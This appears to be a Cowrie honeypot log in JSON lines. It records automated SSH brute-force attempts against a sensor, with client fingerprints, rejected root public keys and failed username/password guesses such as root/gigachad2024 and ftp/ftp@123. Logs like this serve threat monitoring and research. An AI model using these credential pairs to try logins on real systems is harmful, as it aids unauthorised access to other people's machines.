{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:57.966965Z","src_ip":"43.134.49.202","session":"10d7ad628e69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:89:16:5b:bc:49:84:88:b3:7f:10:62:73:19:36:05","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAM2e64BELIbevX9YdGThssQUsTHLVN2PufxJSBUEdrq+H6vGMncMpCuJiALbzsN3NbewrDMPRPXWfxnxH5ZVD/3z1xqXXff2AsT3V7dcysMCUU5Ov5KMjlvCnC4dE+PaXZEa4N1sav/T/D5LjNdua1LUzPg5EMo+t26s304RZ5kvAAAAFQDv4Imvc2JNy33ktA/syU4D8uqCrQAAAIAcoSjdPpmYndnoITQ4o/xtlimIStDaybdUw1Xs9qTa+ikfhFMh5VQB2uWQBqNeSlpqTLPwb4nelCo3S5NQsHQOWmbmt+l3dzrYqkHHpTZlXGB1vRgqhMO+rPkzL/i3+HKNX9KOHHFwjvoJXzh/JkfzYFDQ8Jof3/I5qnsgxkeBBQAAAIAdMKG1d++nHUPeOpXIvrQhJWaZJN/8bXOROOhJ7qmfqynRQ9rzI6veW3jlgMD+XUNsR/IwU9s2gsqF0oNfpy+ilWY07T9bVS9PbpnzqSJprXKO1P9cHr02P0hCxDoRM3wp5yaW00dlvai2HoZdyi8Xm5l/sJGrzgkTPfexFa035A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 3e:89:16:5b:bc:49:84:88:b3:7f:10:62:73:19:36:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:57.976995Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:89:16:5b:bc:49:84:88:b3:7f:10:62:73:19:36:05","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAM2e64BELIbevX9YdGThssQUsTHLVN2PufxJSBUEdrq+H6vGMncMpCuJiALbzsN3NbewrDMPRPXWfxnxH5ZVD/3z1xqXXff2AsT3V7dcysMCUU5Ov5KMjlvCnC4dE+PaXZEa4N1sav/T/D5LjNdua1LUzPg5EMo+t26s304RZ5kvAAAAFQDv4Imvc2JNy33ktA/syU4D8uqCrQAAAIAcoSjdPpmYndnoITQ4o/xtlimIStDaybdUw1Xs9qTa+ikfhFMh5VQB2uWQBqNeSlpqTLPwb4nelCo3S5NQsHQOWmbmt+l3dzrYqkHHpTZlXGB1vRgqhMO+rPkzL/i3+HKNX9KOHHFwjvoJXzh/JkfzYFDQ8Jof3/I5qnsgxkeBBQAAAIAdMKG1d++nHUPeOpXIvrQhJWaZJN/8bXOROOhJ7qmfqynRQ9rzI6veW3jlgMD+XUNsR/IwU9s2gsqF0oNfpy+ilWY07T9bVS9PbpnzqSJprXKO1P9cHr02P0hCxDoRM3wp5yaW00dlvai2HoZdyi8Xm5l/sJGrzgkTPfexFa035A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:57.980694Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:9a:1c:77:06:ab:db:a7:e8:91:42:65:90:6a:39:50","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIsjXZmIDTIYhZfwEKOGlloFzv7k+wG2ofM1zPg3bn37","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c0:9a:1c:77:06:ab:db:a7:e8:91:42:65:90:6a:39:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:58.003982Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:9a:1c:77:06:ab:db:a7:e8:91:42:65:90:6a:39:50","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIsjXZmIDTIYhZfwEKOGlloFzv7k+wG2ofM1zPg3bn37","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:58.006735Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:23:c5:15:b0:08:78:c7:dd:50:64:14:79:41:d3:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeSv7u3RQ8ffzxUMFmtPylyMQakTsRaHgzwinPZCLaq7tX8c0SlIcjfaUMJXGlGCXnTvZ+or1GL0t58ikPOqXzmdrXtmnFwCHFqFJgsWvKNHl6fYzPZ/m5LPQfTZ6jubk80s9wmWVHaTXbndqPecd38D21qTeYgAFFHE6spYsjioQLxADYrBpGKkcdMmIcxZxvnv84nRaiShANld0gS5jSr40Ds5qkuWzxFAJbRNzv7XYZvifc4Af5M7lYWKfiKtO782v1Jwz1OzdHi0djZnJIFlO8/eM4dqQcFOG6FTLJECnS2fjvj2bqy7Es5gLYw5O6BawcvntTTP35k/w6EA3EwGD4wC1oB6V/w8kuM1jCAw+m7vjFb3C6m4HkuxNiPyDsQ7AR+eEzR///4GAnFmLXS+hntJPksZklQ1+CNPQtXBPS6CICR6EUUROctZ3dI4VDEXEfDZsP+8YIk+NNNkf4zrjao5PovmwWVLUlkAkfHOO51n7v3phfUJTtsbIRlfHwfDAHrcYiiiaDpjee7G+AEHRW8tNxppaS4L9en4LLtN/pn7KMX2s4AKGdEQEncbagbJ7qBUXGNPWoAlieCPPvISuP0UrOmx9rDrlfhnXzCqIpGhOZzDRrU+gomxPHLFzYt2ainHdpCDtbEjVt1QkDjqzrsrc3AE7RHvFwjgyO3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:23:c5:15:b0:08:78:c7:dd:50:64:14:79:41:d3:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:58.027266Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:23:c5:15:b0:08:78:c7:dd:50:64:14:79:41:d3:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeSv7u3RQ8ffzxUMFmtPylyMQakTsRaHgzwinPZCLaq7tX8c0SlIcjfaUMJXGlGCXnTvZ+or1GL0t58ikPOqXzmdrXtmnFwCHFqFJgsWvKNHl6fYzPZ/m5LPQfTZ6jubk80s9wmWVHaTXbndqPecd38D21qTeYgAFFHE6spYsjioQLxADYrBpGKkcdMmIcxZxvnv84nRaiShANld0gS5jSr40Ds5qkuWzxFAJbRNzv7XYZvifc4Af5M7lYWKfiKtO782v1Jwz1OzdHi0djZnJIFlO8/eM4dqQcFOG6FTLJECnS2fjvj2bqy7Es5gLYw5O6BawcvntTTP35k/w6EA3EwGD4wC1oB6V/w8kuM1jCAw+m7vjFb3C6m4HkuxNiPyDsQ7AR+eEzR///4GAnFmLXS+hntJPksZklQ1+CNPQtXBPS6CICR6EUUROctZ3dI4VDEXEfDZsP+8YIk+NNNkf4zrjao5PovmwWVLUlkAkfHOO51n7v3phfUJTtsbIRlfHwfDAHrcYiiiaDpjee7G+AEHRW8tNxppaS4L9en4LLtN/pn7KMX2s4AKGdEQEncbagbJ7qBUXGNPWoAlieCPPvISuP0UrOmx9rDrlfhnXzCqIpGhOZzDRrU+gomxPHLFzYt2ainHdpCDtbEjVt1QkDjqzrsrc3AE7RHvFwjgyO3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:58.029974Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:36:23:d5:bb:a4:1c:15:0c:a3:45:20:c4:6f:19:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh2kljjCrKpVd0DHw2wjUzOp2fRLJKPtCPdBRdzERJs+9UcxWgrIbdemwAvRR/f5fo9s4eqDgxslyxyHZlJV0Epd+gfAtMq71zlvKMqI4ElOVdW26J6Jmi3YfUVbFKrssbAac1OjkQVtIi+SNdeCLsrcOtivt3lq43zkTexpy+PTCw2IPONxDBHlIGg318HU/sNUFmpG1APbwPHMlbixAsS5Vl2wUJO2pmPkh2C+2FwJ4uDpG0oByXqWKPOEDhH074lo0VSjhzgr3Mr1tjFgtfwQgRAOUVkwmYYsW1eL903x6EpiX3Ty/KZDaf3C2MhTwnvQnod7nrAaulveZfFhWv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:36:23:d5:bb:a4:1c:15:0c:a3:45:20:c4:6f:19:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:58.051474Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:36:23:d5:bb:a4:1c:15:0c:a3:45:20:c4:6f:19:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh2kljjCrKpVd0DHw2wjUzOp2fRLJKPtCPdBRdzERJs+9UcxWgrIbdemwAvRR/f5fo9s4eqDgxslyxyHZlJV0Epd+gfAtMq71zlvKMqI4ElOVdW26J6Jmi3YfUVbFKrssbAac1OjkQVtIi+SNdeCLsrcOtivt3lq43zkTexpy+PTCw2IPONxDBHlIGg318HU/sNUFmpG1APbwPHMlbixAsS5Vl2wUJO2pmPkh2C+2FwJ4uDpG0oByXqWKPOEDhH074lo0VSjhzgr3Mr1tjFgtfwQgRAOUVkwmYYsW1eL903x6EpiX3Ty/KZDaf3C2MhTwnvQnod7nrAaulveZfFhWv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:58.053934Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:a4:95:f1:72:3f:7b:16:a6:de:0e:62:22:2e:11:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJW6R9dwv+p2NQE7exK0sFbL1Pq0GYAPBRlP+kD9+jucqO/K4ekPqc4wVZnTiyF0VcWQnFBhtFjOR83IAqqAf5/+c14csvSLZs4fwDOvODKYG8a560MU3uQc4Ws0Gr00UqRvlhEi7ItJAtLTMCKvnP9Fs/L6xIJOKsPjM3tfquu03nCPT9gNy46u7K1csRRuqcSi6nv6pyha1h1dCg8C9zgKiIM/VNI966bp1UTO9F08ODTb/Yf9OiOnuo9+jhJtxMSpqqViK8qcVg2j5sWquWZ/pBXKUTq25ImyG7mbe3t3ejeFx4yjHWziceAOI1f1p/zemo9SvfG2aActTH/7if","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:a4:95:f1:72:3f:7b:16:a6:de:0e:62:22:2e:11:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:58.075156Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:a4:95:f1:72:3f:7b:16:a6:de:0e:62:22:2e:11:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJW6R9dwv+p2NQE7exK0sFbL1Pq0GYAPBRlP+kD9+jucqO/K4ekPqc4wVZnTiyF0VcWQnFBhtFjOR83IAqqAf5/+c14csvSLZs4fwDOvODKYG8a560MU3uQc4Ws0Gr00UqRvlhEi7ItJAtLTMCKvnP9Fs/L6xIJOKsPjM3tfquu03nCPT9gNy46u7K1csRRuqcSi6nv6pyha1h1dCg8C9zgKiIM/VNI966bp1UTO9F08ODTb/Yf9OiOnuo9+jhJtxMSpqqViK8qcVg2j5sWquWZ/pBXKUTq25ImyG7mbe3t3ejeFx4yjHWziceAOI1f1p/zemo9SvfG2aActTH/7if","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:58.079581Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:58.100131Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:58.211523Z","src_ip":"43.134.49.202","session":"10d7ad628e69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nh","password":"nh123","message":"login attempt [nh/nh123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:59.221108Z","src_ip":"43.134.49.202","session":"10d7ad628e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:00.468662Z","src_ip":"43.134.49.202","session":"10d7ad628e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":43794,"dst_ip":"10.17.0.5","dst_port":22,"session":"2116ee15c2d1","protocol":"ssh","message":"New connection: 20.228.179.34:43794 (10.17.0.5:22) [session: 2116ee15c2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:06.257375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:06.261256Z","src_ip":"20.228.179.34","session":"2116ee15c2d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:06.273139Z","src_ip":"20.228.179.34","session":"2116ee15c2d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gigachad2024","message":"login attempt [root/gigachad2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:06.360915Z","src_ip":"20.228.179.34","session":"2116ee15c2d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:07.380524Z","src_ip":"20.228.179.34","session":"2116ee15c2d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":34990,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8436e9b1678","protocol":"ssh","message":"New connection: 91.92.40.176:34990 (10.17.0.5:22) [session: f8436e9b1678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:17.047337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:17.051220Z","src_ip":"91.92.40.176","session":"f8436e9b1678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:17.136964Z","src_ip":"91.92.40.176","session":"f8436e9b1678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp@123","message":"login attempt [ftp/ftp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:17.566044Z","src_ip":"91.92.40.176","session":"f8436e9b1678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":39410,"dst_ip":"10.17.0.5","dst_port":22,"session":"e607102c40a2","protocol":"ssh","message":"New connection: 69.163.176.54:39410 (10.17.0.5:22) [session: e607102c40a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:18.614539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:18.618227Z","src_ip":"69.163.176.54","session":"e607102c40a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:18.688486Z","src_ip":"69.163.176.54","session":"e607102c40a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:18.718185Z","src_ip":"91.92.40.176","session":"f8436e9b1678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afghanistan","password":"Kabul#Bitc0!n$M@st3r","message":"login attempt [afghanistan/Kabul#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:18.899951Z","src_ip":"69.163.176.54","session":"e607102c40a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:19.972795Z","src_ip":"69.163.176.54","session":"e607102c40a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":59050,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb55f0db70b0","protocol":"ssh","message":"New connection: 147.45.211.215:59050 (10.17.0.5:22) [session: eb55f0db70b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:32.914937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:32.918542Z","src_ip":"147.45.211.215","session":"eb55f0db70b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:33.092090Z","src_ip":"147.45.211.215","session":"eb55f0db70b0","protocol":"ssh"}
